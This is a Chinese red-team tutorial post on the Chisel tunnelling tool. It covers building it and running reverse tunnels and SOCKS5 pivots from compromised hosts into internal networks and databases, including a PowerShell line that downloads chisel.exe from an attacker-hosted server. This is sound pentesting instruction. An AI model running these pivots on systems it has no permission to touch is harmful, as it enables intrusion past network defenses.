文章总结: Chisel是一款基于Go语言的TCP/UDP隧道工具,通过SSH进行安全传输,主要用于穿透防火墙或在受限网络环境中建立安全连接。文章详细介绍了Chisel的安装编译过程、基本使用模式(包括反向隧道和SOCKS5代理)、Windows环境下的使用方法、Proxychains配置以及多个实际应用场景,如访问内部Web服务、数据库访问和容器环境中的隧道建立。Chisel作为红队工具,可帮助安全测试人员绕过网络限制,访问内部资源。 综合评分: 85 文章分类: 内网渗透,红队,WEB安全,渗透测试,安全工具
黑客武器库 | chisel
原创
玄鹄安全
高级红队专家
2025年12月18日 07:21 中国香港
一、基本介绍
Chisel 是一个基于 Go 语言编写的 TCP/UDP 隧道工具,通过 SSH 进行安全传输。它主要用于穿透防火墙,或在受限网络环境中建立安全的网络连接。工具包含客户端和服务器端。
二、安装与编译
1. 从 GitHub 克隆源码
bash
git clone https://github.com/jpillora/chisel.git
2. 安装 Go 语言环境
bash
apt install golang
3. 编译二进制文件
进入 Chisel 目录并编译:
bash
cd chisel/
go build -ldflags="-s -w"
编译后会在当前目录生成可执行文件 chisel。
三、基本使用模式
1. 反向隧道(Reverse Tunnelling)
攻击者机器(服务器端):
bash
./chisel server -p <监听端口> --reverse
示例:
bash
./chisel server -p 8000 --reverse
这会启动一个监听指定端口的服务器,并启用反向隧道功能。
目标机器(客户端):
bash
./chisel client <攻击者IP>:<端口> R:<本地端口>:<目标IP>:<目标端口>
示例:
bash
./chisel client 192.168.1.2:8000 R:5000:192.168.226.129:80
这会将攻击者本地端口 5000 的流量转发到目标网络的 192.168.226.129:80。
2. SOCKS5 代理模式
攻击者机器(服务器端):
bash
./chisel server -p <端口> --reverse --socks5
或:
bash
./chisel server --port <端口> --reverse --socks5
示例:
bash
./chisel server --port 5555 --reverse --socks5
目标机器(客户端):
bash
./chisel client <攻击者IP>:<端口> R:socks
示例:
bash
./chisel client 10.10.16.7:5555 R:socks
四、Windows 环境使用
1. 文件传输到 Windows 目标
bash
# 在攻击者机器上启动 HTTP 服务器
python3 -m http.server 80
2. 在 Windows 上下载 Chisel
cmd
# 切换到临时目录
cd %temp%
# 使用 PowerShell 下载
powershell wget -UseBasicParsing http://<攻击者IP>/chisel.exe -OutFile chisel.exe
3. 在 Windows 上运行客户端
cmd
chisel.exe client <攻击者IP>:<端口> R:socks
或指定代理端口:
cmd
chisel.exe client 10.10.16.xx:5556 R:1080:socks
五、配置 Proxychains
建立 SOCKS5 隧道后,需要配置 Proxychains 来使用该隧道:
1. 编辑 Proxychains 配置文件
bash
sudo nano /etc/proxychains4.conf
2. 添加 SOCKS5 代理配置
在文件末尾添加:
socks5 127.0.0.1 1080
注意: 默认的 SOCKS5 代理端口是 1080。
六、实际应用场景
场景 1:访问内部 Web 服务
bash
# 攻击者机器
./chisel server -p 8000 --reverse
# 目标机器(已 compromised)
./chisel client 192.168.1.2:8000 R:5000:172.16.0.20:80
然后通过浏览器访问 http://127.0.0.1:5000 即可访问内部 Web 服务。
场景 2:数据库访问隧道
bash
# 攻击者机器
chisel server -p 5985 --reverse
# 目标机器
.\chisel.exe client 192.168.x.x:xxx R:8585:127.0.0.1:3306
然后可以通过本地端口 8585 访问远程 MySQL 服务:
bash
mysql -u root -p -h 127.0.0.1 -P 8585
场景 3:容器环境中的隧道
在容器逃逸场景中,建立从容器到攻击者机器的隧道:
bash
# 攻击者机器
./chisel server --port 5555 --reverse --socks5
# 容器内
./chisel client 10.10.16.90:5555 R:socks
七、命令总结
| 角色 | 命令 | 说明 |
| — | — | — |
| 服务器端 | ./chisel server -p <端口> --reverse | 启动反向隧道服务器 |
| 服务器端 | ./chisel server -p <端口> --reverse --socks5 | 启动 SOCKS5 代理服务器 |
| 客户端 | ./chisel client <服务器IP>:<端口> R:<本地端口>:<目标IP>:<目标端口> | 建立端口转发 |
| 客户端 | ./chisel client <服务器IP>:<端口> R:socks | 建立 SOCKS5 代理连接 |
| Windows客户端 | chisel.exe client <服务器IP>:<端口> R:socks | Windows 环境下的客户端连接 |
查看原文:《黑客武器库 | chisel》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论